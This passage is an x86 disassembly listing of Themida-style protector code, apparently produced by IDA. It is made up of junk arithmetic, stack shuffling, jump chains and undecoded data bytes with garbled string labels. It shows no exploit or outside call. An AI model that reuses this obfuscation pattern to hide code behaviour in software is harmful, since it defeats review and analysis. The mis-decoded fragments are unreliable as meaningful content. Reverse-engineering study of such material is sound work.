		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5689F5
; ---------------------------------------------------------------------------

loc_5621C0:				; CODE XREF: Themida_:0055D8C8j
		push	ecx
		jmp	loc_56068B
; ---------------------------------------------------------------------------

loc_5621C6:				; CODE XREF: Themida_:00560A10j
		pop	esi
		sub	eax, edi
		sub	eax, 309A5E90h
		mov	edi, [esp]
		push	ebp
		jmp	loc_572660
; ---------------------------------------------------------------------------
a3SZ		db '3<$И',0Ah
		db '┤',0
		dw 0F700h
		dd 60EF81D7h, 0E9A27C04h, 5C4Bh, 24048F5Bh, 0E924248Bh
		dd 0FFFFB675h, 0FF24248Bh, 48B2434h, 4C48124h, 81000000h
		dd 4ECh, 240C8900h
		db 89h,	0E1h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_55F312
; ---------------------------------------------------------------------------
		db 87h,	3Ch, 24h
		dd 0B637E95Ch, 0E801FFFFh, 0DAB9515Dh, 1183153h, 5477E9C8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_562246:				; CODE XREF: Themida_:0056712Cj
		xor	esi, edx
		pop	edx
		mov	edi, esi
		pop	esi
		jmp	loc_571ED7
; ---------------------------------------------------------------------------
aIYv80zsua	db '┴мYV╬8(0zИ·═',0
		dw 8100h
		dd 4ECh, 24048900h, 4055854h, 0E9000000h, 0B52Ch, 4BAh
		dd 0E9D50100h, 0FFFFE076h, 4C481h, 0BD550000h, 2AA14DA6h
		dd 1415E94Dh, 6C010000h, 44E90424h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56229B:				; CODE XREF: Themida_:00561856j
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	esp, 4
		push	420Fh
		jmp	loc_5709C0
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 59669D1Ch, 9C2414D3h, 0FFB5ACE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5622C1:				; CODE XREF: Themida_:0056308Fj
		add	ecx, 2E4E4A38h
		pop	eax
		xor	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56768F
; ---------------------------------------------------------------------------

loc_5622D8:				; CODE XREF: Themida_:005680B2j
		xchg	edi, [esp]
		mov	esp, [esp]
		xor	eax, 65767D43h
		push	ecx
		push	eax
		push	ebx
		mov	ebx, 0B5866F6h
		push	edi
		push	3DC842D8h
		pop	edi
		sub	edi, 68C424A9h
		neg	edi
		sub	edi, 2314D097h
		jmp	loc_566763
; ---------------------------------------------------------------------------

loc_562305:				; CODE XREF: Themida_:00561836j
		mov	edx, esp
		jmp	loc_56A589
; ---------------------------------------------------------------------------

loc_56230C:				; CODE XREF: Themida_:0055DFECj
		mov	al, cl
		pop	ecx
		mov	ch, al
		jmp	loc_5604B6
; ---------------------------------------------------------------------------

loc_562316:				; CODE XREF: Themida_:00572653j
		add	esi, 11DE5628h
		jmp	loc_56FD6D
; ---------------------------------------------------------------------------
		db 89h,	0FAh, 5Fh
		dd 0E9FFEA83h, 0B677h
; ---------------------------------------------------------------------------

loc_56232C:				; CODE XREF: Themida_:0056A51Fj
		pop	ebx
		push	ebx
		push	ebp
		pop	ebx
		pop	ebp
		sub	esp, 4
		mov	[esp], ebp
		not	dword ptr [esp]
		jmp	loc_567730
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0D1682404h, 0E900001Ah, 0ACBFh
; ---------------------------------------------------------------------------

loc_562350:				; CODE XREF: Themida_:00562ECFj
		jmp	loc_55D86D
; ---------------------------------------------------------------------------

loc_562355:				; CODE XREF: Themida_:0056213Cj
		xchg	edi, [esp]
		pop	esp
		jmp	loc_56E648
; ---------------------------------------------------------------------------
		dd offset dword_53C518+750h
		dw 8900h
		dd 0E9542404h, 16CFh
; ---------------------------------------------------------------------------

loc_56236C:				; CODE XREF: Themida_:0056124Bj
		add	ebp, ecx
		add	ebp, 1EAF7302h
		push	edx
		mov	edx, 2EF30153h
		sub	ebp, 76AE78D5h
		sub	ebp, edx
		add	ebp, 76AE78D5h
		pop	edx
		pop	ecx
		push	ecx
		jmp	loc_567635
; ---------------------------------------------------------------------------

loc_562390:				; CODE XREF: Themida_:00568995j
		sub	esp, 4
		mov	[esp], eax
		push	ecx
		jmp	loc_56760F
; ---------------------------------------------------------------------------

loc_56239F:				; CODE XREF: Themida_:00562963j
		mov	[esp], ebx
		push	165Eh
		mov	[esp], ecx
		mov	ecx, 35DC137Dh
		jmp	loc_56ED80
; ---------------------------------------------------------------------------
		dd 0D54CE956h, 0CA81FFFFh, 0E137EE9h, 0FFCB73E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5623C5:				; CODE XREF: Themida_:0056A60Fj
		add	edx, 62DB3ABDh
		jmp	loc_568CB8
; ---------------------------------------------------------------------------

loc_5623D0:				; CODE XREF: Themida_:005612B2j
		push	ebx
		jmp	loc_56183B
; ---------------------------------------------------------------------------
		dw 215Ch
		dd 0E99C2404h, 0FFFFB48Dh, 44E9EB88h, 5DFFFFC4h, 4C481h
		dd 0EA810000h, 7FBD7A1Bh, 0B4E6E9h
		db 0
; ---------------------------------------------------------------------------

loc_5623F9:				; CODE XREF: Themida_:00562692j
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5607AB
; ---------------------------------------------------------------------------
		db 59h,	1, 0D8h
		dd offset dword_52F848+720h
		dd 24148900h, 23E7B951h, 1DBA0AECh, 0E9167A54h,	6693h
		dd 5707EEC1h, 7A319EBFh, 301AE943h, 0EC830000h,	240C8904h
		dd 0F58081B5h, 0E9E800FEh, 0E739h, 240C8B66h, 0AD868h
		dd 243C8900h, 0EC83E789h, 24348904h, 4BA1BA52h,	514271FCh
		dd 0EA6372B9h, 6E1C16Fh, 9DFCC181h, 8EE97B16h, 0B9000015h
		dd 14BC474Fh, 0C8BCD01h, 0F08BE924h, 0D031FFFFh, 0E92434FFh
		dd 58C4h
; ---------------------------------------------------------------------------

loc_562490:				; CODE XREF: Themida_:00563895j
		add	[esp+4], esi
		sub	dword ptr [esp+4], 419B48FEh
		jmp	loc_55ED20
; ---------------------------------------------------------------------------
		db 5Eh,	66h, 21h
		dd 81665AD1h, 66E669C1h, 83E9C831h, 31FFFFD4h, 0BDB5E9FDh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5624BA:				; CODE XREF: Themida_:00567DD7j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		push	6D7Bh
		mov	[esp], esi
		mov	esi, 313100F6h
		jmp	loc_567325
; ---------------------------------------------------------------------------

loc_5624D7:				; CODE XREF: Themida_:00567B0Ej
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_570099
; ---------------------------------------------------------------------------

loc_5624E8:				; CODE XREF: Themida_:00569C8Ej
		mov	esp, [esp]
		add	esp, 4
		jmp	loc_56F580
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 46C035B1h, 0E3D1DBF7h, 5006EBC1h, 0EB190AB8h, 0E9D8F75Dh
		dd 9585h
; ---------------------------------------------------------------------------

loc_562510:				; CODE XREF: Themida_:0056E113j
		mov	edi, [esp]
		add	esp, 4
		xchg	edx, [esp]
		jmp	loc_570363
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 5377868h, 565DE889h,	385DE9h, 4C48100h, 8B000000h, 15E9241Ch
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------

loc_56253B:				; CODE XREF: Themida_:00572371j
		sub	ecx, edx
		pop	edx
		jmp	loc_55EAAC
; ---------------------------------------------------------------------------
		db 89h
		dd 0BA52240Ch, 5975EEEh, 1B09E9h, 0FFC28100h, 0F7FFFFFFh
		dd 0BCC281D2h, 5799F463h, 454B2FBFh, 0DFF74F35h, 0E907EFC1h
		dd 0C61Bh, 64A0F181h, 70E9DBE7h, 68000066h, 4A4Eh, 51243C89h
		dd 563E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56258A:				; CODE XREF: Themida_:0056B5AFj
		sub	eax, edi
		pop	edi
		xor	ebx, eax
		jmp	loc_56CDE9
; ---------------------------------------------------------------------------
		dd 4C481h, 0C3000000h, 0FFF1EDE9h, 0E57BBEFFh, 0F70106FEh
		dd 0F989515Eh, 1CA6E9h,	3E1C100h, 294CF181h, 0E949795Eh
		dd 0FFFFD817h
; ---------------------------------------------------------------------------

loc_5625C0:				; CODE XREF: Themida_:0056B04Ej
		pop	eax
		xor	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	eax, ebp
		jmp	loc_563525
; ---------------------------------------------------------------------------
		dd 4245401h, 6688E95Ah,	0D7F60000h, 283FC780h, 0CFE95BF8h
		dd 560000DCh, 0C681E689h, 4, 4C681h, 34870000h,	44E95C24h
		db 0E4h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_5625FF:				; CODE XREF: Themida_:005699BEj
		add	ecx, 1
		sub	ecx, 2763F221h
		mov	edi, ecx
		pop	ecx
		sub	eax, 412C5848h
		add	eax, edi
		add	eax, 412C5848h
		mov	edi, [esp]
		add	esp, 4
		push	eax
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		not	ecx
		xchg	ecx, [esp]
		pop	eax
		shl	eax, 2
		jmp	loc_561052
; ---------------------------------------------------------------------------
		dd 240C8B66h, 0DF81E9h,	5BDA8900h, 5E2434FFh, 5104C483h
		dd 2FDBB0B9h, 0FD68E94Fh, 89530000h, 7BA9E9E3h,	0C4810000h
		dd 4, 0E575E9h
		db 0
; ---------------------------------------------------------------------------

loc_562669:				; CODE XREF: Themida_:0057207Cj
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_563AC9
; ---------------------------------------------------------------------------
		db 0BBh, 7Dh, 5Ah
		dd 8E9259Eh, 0E9FFFFF0h, 0FFFFB1E1h
; ---------------------------------------------------------------------------

loc_56268C:				; CODE XREF: Themida_:00571BE2j
		add	ebp, 4
		jmp	loc_5623F9
; ---------------------------------------------------------------------------

loc_562697:				; CODE XREF: Themida_:005621A3j
		mov	ebp, [esp]
		add	esp, 4
		push	13E5h
		mov	[esp], edx
		push	eax
		add	dword ptr [esp], 7EE28DAh
		pop	edx
		push	ecx
		mov	ecx, 7BAE3E0Ah
		or	ecx, 4C356229h
		add	ecx, 882EAAAFh
		sub	edx, ecx
		pop	ecx
		mov	ebx, edx
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		add	ebx, 73857E55h
		add	ebx, edi
		push	ecx
		mov	ecx, 7E623ED8h
		push	0
		sub	[esp], ecx
		pop	ecx
		inc	ecx
		sub	ecx, 5BED15F2h
		push	edx
		jmp	loc_56452C
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 58669D1Ch, 9C240410h, 0FFB168E9h, 59EF88FFh,	56B8E9h
		dd 24D36600h, 56E99C24h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562717:				; CODE XREF: Themida_:00571E5Cj
		mov	[esp], ecx
		jmp	loc_55DB91
; ---------------------------------------------------------------------------

loc_56271F:				; CODE XREF: Themida_:00561981j
		sub	esi, 5BB10262h
		push	61A8h
		jmp	loc_567602
; ---------------------------------------------------------------------------
		db 66h
		dd 0B2241489h, 6E0E97Bh, 0B9510000h, 5C384A2Bh,	905C181h
		dd 0DE90A37h, 89000079h, 2DDDE9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_562752:				; CODE XREF: Themida_:00571ED2j
		mov	eax, [esp]
		push	5ABCh
		mov	[esp], edi
		push	5228h
		mov	[esp], esp
		jmp	loc_5651B0
; ---------------------------------------------------------------------------
		dw 487h
		dd 0C7815C24h, 106F14A9h, 306768h, 0F589E900h, 8B660000h
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		push	edx
		mov	edx, 52872AC4h
		shr	edx, 4
		jmp	loc_56CC6F
; ---------------------------------------------------------------------------
		dw 0DCB9h
		dd 68301115h, 1A20h, 0E9241489h, 0FFFFC6EFh, 0FFB0B0E9h
		dd 241431FFh, 0E9241433h, 83FBh, 0FADB951h, 0CA89DA3Bh
		dd 8BD03159h, 0C4812414h, 4, 34FFC629h,	0C4835824h, 26EE8104h
		dd 1544A78h, 26C681DEh,	81544A78h, 2614CDC6h, 81565B0Bh
		dd 24EF2404h, 81593579h, 7924EFE9h, 2434FF35h, 8124348Bh
		dd 4C4h, 0FB9AE900h, 0C483FFFFh, 4EC8104h, 89000000h, 0E6892434h
		dd 4C681h, 0C6830000h, 24348704h, 0B033E95Ch, 0F5B8FFFFh
		dd 354B4D75h, 0AE46707h, 502E0C1h, 0D2C0B2h, 0BB58C289h
		dd 284D273Ah, 45D3E955h, 0D3290000h, 0FFC419E9h, 3B0ABDFFh
		dd 0EF09717Fh, 5F51575Dh, 0D72EE9h, 0EF816600h,	81661E2Fh
		dd 66067CC7h, 665FFE31h, 0E907EEC1h, 0B57Eh, 6824048Bh
		dd 4DF1h, 54242C89h, 92B8E95Dh,	0DBF60000h, 86C6E9h
		db 0
; ---------------------------------------------------------------------------

loc_5628A1:				; CODE XREF: Themida_:005680E0j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	5584h
		mov	[esp], esi
		push	1629h
		mov	[esp], ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_560CCD
; ---------------------------------------------------------------------------
		dd 0BF243C89h, 783A557Ah, 557EF781h, 0C381783Ah, 7D7C4AFFh
		dd 0EB81FB01h, 7D7C4AFFh, 83243C8Bh, 0FBE904C4h, 0D30000D7h
		dd 0E99C2424h, 0FFFFAF75h, 31665B66h, 0FB9FE9F2h, 0F381FFFFh
		dd 987D9111h, 815BD901h, 4C1B33C1h, 0D69AE96Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562916:				; CODE XREF: Themida_:00568030j
		add	eax, 42DA28C1h
		shr	eax, 6
		xor	eax, 2B2FD1Dh
		add	edx, eax
		jmp	loc_5690B0
; ---------------------------------------------------------------------------

loc_56292A:				; CODE XREF: Themida_:00565066j
		push	0
		sub	[esp], edx
		pop	edx
		push	33Dh
		mov	[esp], ebx
		push	6AB0h
		mov	[esp], edx
		jmp	loc_571D42
; ---------------------------------------------------------------------------

loc_562948:				; CODE XREF: Themida_:0056FD52j
		mov	[esp], ecx
		pop	esi
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		and	eax, esi
		pop	esi
		or	eax, eax
		jz	loc_57183E
		push	2551h
		jmp	loc_56239F
; ---------------------------------------------------------------------------

loc_562968:				; CODE XREF: Themida_:005603E0j
		mov	esp, [esp]
		shr	eax, 0Bh
		xor	ecx, eax
		push	7414h
		jmp	loc_55DCB9
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 0FFFFD373h, 83242489h, 5D042404h, 4BF57h, 0C5810000h
		dd 198A023Ah, 0ED81FD01h, 198A023Ah, 0E9243C8Bh, 11BDh
; ---------------------------------------------------------------------------

loc_5629A4:				; CODE XREF: Themida_:005704A3j
		mov	edi, 1C840023h
		jmp	loc_563390
; ---------------------------------------------------------------------------
		dw 0C383h
		dd 0B2C0E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5629B6:				; CODE XREF: Themida_:0056559Dj
		push	dword ptr [esp]
		jmp	loc_56BFFC
; ---------------------------------------------------------------------------
		dw 3431h
		dd 0CF11E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5629C6:				; CODE XREF: Themida_:0055DBC1j
		sub	al, 0CDh
		add	al, 61h
		push	63BBh
		mov	[esp], edx
		push	ebx
		push	ecx
		mov	cl, 0DCh
		mov	bl, 4Eh
		add	bl, cl
		pop	ecx
		push	eax
		mov	ah, bl
		mov	dl, ah
		pop	eax
		pop	ebx
		add	dl, 0FFh
		jmp	loc_56F640
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 54562404h, 0FFEFC7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5629F5:				; CODE XREF: Themida_:00566AB1j
					; Themida_:0056D25Fj
		push	edx
		push	281Ah
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_560C63
; ---------------------------------------------------------------------------

loc_562A06:				; CODE XREF: Themida_:0055F4C3j
		pop	ebp
		not	esi
		jmp	loc_56A331
; ---------------------------------------------------------------------------

loc_562A0E:				; CODE XREF: Themida_:00571CDCj
		sub	esi, edi
		pop	edi
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	ebp
		mov	ebp, 3C867AA2h
		mov	esi, 3C867AA0h
		jmp	loc_566494
; ---------------------------------------------------------------------------
		dd 0FFAE38E9h, 4C181FFh, 51000000h, 42474FFh, 24048F59h
		dd 31D4E9h
		db 0
; ---------------------------------------------------------------------------

loc_562A49:				; CODE XREF: Themida_:00570364j
		mov	[esp], edx
		push	4D3Ah
		jmp	loc_56506B
; ---------------------------------------------------------------------------
		dw 505Dh
		dd 1D02EBB8h, 96BA5234h, 0E97B9928h, 5A08h, 0C381E389h
		dd 4, 8704EB83h, 248B241Ch, 24148924h, 0C281E289h, 4, 0C59BE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_562A8A:				; CODE XREF: Themida_:00561C7Aj
		pop	esp
		sub	esp, 4
		jmp	loc_571670
; ---------------------------------------------------------------------------

loc_562A93:				; CODE XREF: Themida_:0057204Fj
		pop	ebp
		sub	esp, 4
		jmp	loc_56A95A
; ---------------------------------------------------------------------------

loc_562A9C:				; CODE XREF: Themida_:00567723j
		xor	bl, al
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_55D86D
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 0EDh
		dd 0E906357Ch, 0FFFFEC56h
; ---------------------------------------------------------------------------

loc_562AB4:				; CODE XREF: Themida_:0056B676j
		pop	ebp
		shl	esi, 6
		xor	esi, 2F63006Dh
		or	esi, 223C3B62h
		jmp	loc_561D4D
; ---------------------------------------------------------------------------

loc_562AC9:				; CODE XREF: Themida_:00560B7Dj
		neg	eax
		push	edx
		push	eax
		jmp	loc_568233
; ---------------------------------------------------------------------------
aFFAJ		db 'f[юД',8,'─д╕',0
		db 0E2h
		dd 80D2F658h, 0B9E92BC2h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_562AE7:				; CODE XREF: Themida_:0056CB7Dj
		push	esi
		jmp	loc_56E5EA
; ---------------------------------------------------------------------------
		db 0BEh, 0B5h, 18h
aCVsW		db 'c/VИзW',0
		align 4
		dd 24048F5Fh, 0E924248Bh, 47C9h, 815BD931h, 0CF31F4C1h
		dd 0E8DCE97Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562B12:				; CODE XREF: Themida_:0056399Aj
		pop	edi
		and	eax, esi
		push	dword ptr [esp]
		jmp	loc_560706
; ---------------------------------------------------------------------------

loc_562B1D:				; CODE XREF: Themida_:005603BBj
		pop	eax
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	53A5h
		jmp	loc_57156F
; ---------------------------------------------------------------------------

loc_562B38:				; CODE XREF: Themida_:0056BE35j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_562E0D
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 14D25966h, 12E99C24h, 89FFFFADh, 0B7532414h
		dd 53F780ECh, 0A5B15166h, 5966CF28h, 1208E9h, 30DBF00h
		dd 0FB31169Bh, 2EEA815Fh, 15F2A7Ah, 2EC281DAh, 8B5F2A7Ah
		dd 0C481241Ch, 4, 505AD089h, 2EE9585Eh,	8BFFFFC3h, 62E9241Ch
		db 0EEh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_562BA3:				; CODE XREF: Themida_:005604CFj
		xor	dh, 4Ch
		sub	al, dh
		mov	edx, [esp]
		add	esp, 4
		push	dx
		mov	dl, 0E5h
		sub	al, dl
		pop	dx
		add	al, ch
		add	al, 0E5h
		push	bx
		jmp	loc_56C626
; ---------------------------------------------------------------------------
		db 87h,	0F5h, 50h
aI1Us		db '╦┴1<uИ╧',0Ah,0
		align 2
		dw 295Eh
		dd 0BDBA52D5h, 12EE134h, 575A5AD5h, 0B941A1BFh,	54CF812Ah
		dd 4F451C31h, 3B28EF81h, 0E94F6936h, 6ED7h
; ---------------------------------------------------------------------------

loc_562BF4:				; CODE XREF: Themida_:0056F5F9j
		inc	edi
		jmp	loc_56FB29
; ---------------------------------------------------------------------------

loc_562BFA:				; CODE XREF: Themida_:0055EA82j
		push	edx
		mov	edx, 47C21D82h
		not	edx
		sub	edx, 0B83DE279h
		jmp	loc_56445D
; ---------------------------------------------------------------------------

loc_562C0D:				; CODE XREF: Themida_:0056A28Dj
		pop	ecx
		jmp	loc_566C92
; ---------------------------------------------------------------------------

loc_562C13:				; CODE XREF: Themida_:0056533Fj
		not	ebp
		shr	ebp, 3
		sub	ebp, 8E756E0Ch
		jmp	loc_56A390
; ---------------------------------------------------------------------------
		db 53h
		dd 4EC81h, 24890000h, 24048124h, 4, 0E9241C8Bh,	8A7Ch
; ---------------------------------------------------------------------------

loc_562C3C:				; CODE XREF: Themida_:0055DC30j
		shr	ebx, 1
		sub	ebx, 531455AEh
		dec	ebx
		jmp	loc_55F9A5
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 59669D1Ch, 2414D366h, 0BDC0E99Ch, 0E9580000h, 853Fh
		dd 0E9ADB652h, 5A2Ah
; ---------------------------------------------------------------------------

loc_562C68:				; CODE XREF: Themida_:0056C9BCj
		pop	ebp
		jmp	loc_56EA9E
; ---------------------------------------------------------------------------
		dw 3366h
		dd 2 dup(31662414h), 0D33166DAh, 66DA3166h, 3166FB31h
		dd 0FB3166DFh, 66D7F766h, 661F4268h, 66241C89h,	6614D168h
		dd 66243C89h, 83241C8Bh, 8B6602C4h, 62E9243Ch, 5C0000C7h
		dd 734E68h, 24148900h, 0C35347BAh, 8E2C156h, 5307E2C1h
		dd 3675DBBBh, 0C6EB8126h, 0E90C2B1Dh, 8534h
; ---------------------------------------------------------------------------

loc_562CD0:				; CODE XREF: Themida_:00571BFFj
		movzx	cx, al
		push	small 220Ah
		mov	[esp], cx
		jmp	loc_567B93
; ---------------------------------------------------------------------------
		db 1, 0C3h, 81h
		dd 260747EBh, 243C681Ch, 4890000h, 9E685624h, 0E920B847h
		dd 0A36Ah
; ---------------------------------------------------------------------------

loc_562CFC:				; CODE XREF: Themida_:00568D6Ej
		pop	ecx
		add	al, 0CDh
		jmp	loc_55DBBF
; ---------------------------------------------------------------------------

loc_562D04:				; CODE XREF: Themida_:00568E1Ej
		push	esi
		jmp	loc_57262A
; ---------------------------------------------------------------------------
		dw 0C783h
		dd 0F51BE904h, 158FFFFh, 9BE981D1h, 5A77DF36h, 27DC181h
		dd 0F18131BFh, 0AA546034h, 42F6ED81h, 0CD0172E3h, 42F6C581h
		dd 835972E3h, 2C3302C5h, 0D2B0E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_562D42:				; CODE XREF: Themida_:005647C4j
		pop	eax
		jmp	loc_57118A
; ---------------------------------------------------------------------------
		dd 0E95AD029h, 0A5F3h, 0B8EBE950h, 0F0010000h, 4E45685Eh
		dd 14890000h, 3ABDE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_562D66:				; CODE XREF: Themida_:0056ACC9j
		sub	esi, 7F11168Bh
		jmp	loc_56B192
; ---------------------------------------------------------------------------
		db 1, 0E9h, 8Bh
		dd 0C481242Ch, 4, 4C181h, 0C870000h, 24248B24h,	7544E9h
		db 0
; ---------------------------------------------------------------------------

loc_562D8D:				; CODE XREF: Themida_:00560D7Fj
		mov	edx, [esp]
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		sub	cl, 72h
		not	cl
		jmp	loc_5657C7
; ---------------------------------------------------------------------------
		db 83h
		dd 0C68104C4h, 4, 8904EC83h, 2BF243Ch, 0E9000000h, 0FFFFC96Fh
; ---------------------------------------------------------------------------

loc_562DBC:				; CODE XREF: Themida_:0056B6E6j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56D116
; ---------------------------------------------------------------------------

loc_562DCA:				; CODE XREF: Themida_:0056F960j
		shl	ebx, 5
		neg	ebx
		xor	ebx, 5783885Eh
		or	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	edx, 2750FF1h
		push	ebx
		mov	ebx, 3E79630Dh
		sub	ebx, 5827B9Ah
		add	ebx, 0D92886Ch
		or	edx, ebx
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_5648D4
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd offset dword_4E794C+29Dh
		db 0
; ---------------------------------------------------------------------------

loc_562E0D:				; CODE XREF: Themida_:00562B47j
		push	19Ch
		mov	[esp], edx
		jmp	loc_567DCF
; ---------------------------------------------------------------------------
		dw 0D728h
		dd 24148B66h, 0E902C483h, 0F45Ch
; ---------------------------------------------------------------------------

loc_562E28:				; CODE XREF: Themida_:0056DEF1j
		mov	al, bh
		mov	ch, al
		pop	eax
		jmp	loc_55F01A
; ---------------------------------------------------------------------------
a13I4RhlOSK	db '1,$3,$\┴4$Rh▀)O&И',1Bh,'k',0
		dw 3100h
		dd 0CD295DE9h, 0C3FCE959h, 1580000h, 5773E9C6h,	48B0000h
		dd 4C48324h, 0CD80CDFEh, 6EDC059h, 8051F580h, 0EB280DC5h
		dd 80CB0059h, 0EB805FC3h, 240C8B3Eh, 1F66E9h
		db 0
; ---------------------------------------------------------------------------

loc_562E81:				; CODE XREF: Themida_:0056CDB1j
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_566AAA
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 8Dh
		db 0D4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562E9F:				; CODE XREF: Themida_:0056E4DFj
		push	ebp
		push	26A8h
		jmp	loc_566217
; ---------------------------------------------------------------------------
		dw 0F5BBh
		dd 290C4C0Bh, 0F152E9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_562EB6:				; CODE XREF: Themida_:00565FB3j
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mul	cx
		push	small 26F9h
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_562350
; ---------------------------------------------------------------------------
		dd 7EAA68h, 24148900h, 4EC81h, 1C890000h, 0C2885224h, 51D48850h
		dd 0EB88E588h, 515A5859h, 16A768h, 24048900h, 88DD8851h
		dd 1BE959ECh, 2900000Fh, 31FEE9EEh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_562F0E:				; CODE XREF: Themida_:00568928j
		mov	ecx, esi
		pop	esi
		jmp	loc_55F79D
; ---------------------------------------------------------------------------
		dw 3489h
		dd 382BBE24h, 55513738h, 27154BDh, 5DE9894Eh, 55E9CE31h
		dd 8100009Ah, 0A93F8BC3h, 81C30152h, 0A93F8BEBh, 0B7BA5252h
		dd 0F710A00Fh, 58F281DAh, 0C14A975Fh, 0EA8103EAh, 3A1E38CDh
		dd 0FFD0F7E9h, 0E68956FFh, 4C681h, 0EE830000h, 24348704h
		dd 2404895Ch, 2B8h, 6689E900h, 15E0000h, 24048BC6h, 4C481h
		dd 34870000h, 24248B24h, 0FFD95BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_562F8D:				; CODE XREF: Themida_:00570D01j
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_56074A
; ---------------------------------------------------------------------------

loc_562F98:				; CODE XREF: Themida_:00560D02j
		not	esi
		add	esi, 5C507B95h
		push	edx
		mov	edx, 0D7D16BC9h
		add	esi, edx
		pop	edx
		sub	ecx, esi
		pop	esi
		push	edx
		jmp	loc_57121B
; ---------------------------------------------------------------------------

loc_562FB2:				; CODE XREF: Themida_:00568452j
		push	esi
		mov	esi, 6ACD1DCEh
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5642CF
; ---------------------------------------------------------------------------
		dw 8B54h
		dd 0D4E92434h, 58FFFFFDh, 223BE9h, 5ED8100h, 8B59D925h
		dd 0C483243Ch, 242C8704h, 1D66E9h, 24895C00h, 24048124h
		dd 4, 0B4F9E958h, 0C781FFFFh, 4, 4EF81h, 3C870000h, 14895C24h
		dd 0C4BE5624h, 50691B1Bh, 0C289F089h, 1EE95E58h, 66000088h
		dd 5124048Bh, 7E2568h, 24248900h, 4240481h, 59000000h
		dd 8904EC83h, 0BB53243Ch, 239443F6h, 0E95BDF89h, 0FFFFECD7h
		dd 2BE56h, 3EE90000h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_563053:				; CODE XREF: Themida_:0056E0C7j
		push	edx
		mov	edx, 379547D1h
		not	edx
		xor	edx, 5DF76E21h
		jmp	loc_561986
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 0E15DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56306E:				; CODE XREF: Themida_:0056F15Fj
		pop	edi
		sub	ebx, 1
		xor	ebx, 1E360D1Fh
		mov	ebp, ebx
		pop	ebx
		add	ebp, 0AD889A74h
		mov	eax, ebp
		pop	ebp
